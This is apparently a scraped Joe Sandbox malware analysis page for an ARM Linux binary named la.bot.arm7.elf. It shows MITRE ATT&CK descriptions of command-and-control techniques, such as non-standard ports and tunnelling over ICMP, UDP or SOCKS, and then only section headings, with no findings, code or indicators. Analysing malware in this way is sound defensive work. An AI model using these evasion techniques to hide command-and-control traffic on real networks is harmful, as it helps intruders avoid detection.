Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report la.bot.arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: la.bot.arm7.elf PID: 5439, Parent PID: 5364

General

Chronological Activities

Analysis Process: la.bot.arm7.elf PID: 5467, Parent PID: 5439

General

Chronological Activities

Analysis Process: la.bot.arm7.elf PID: 5472, Parent PID: 5439

General

Chronological Activities

Analysis Process: la.bot.arm7.elf PID: 5476, Parent PID: 5472

General

Chronological Activities

Linux Analysis Report
la.bot.arm7.elf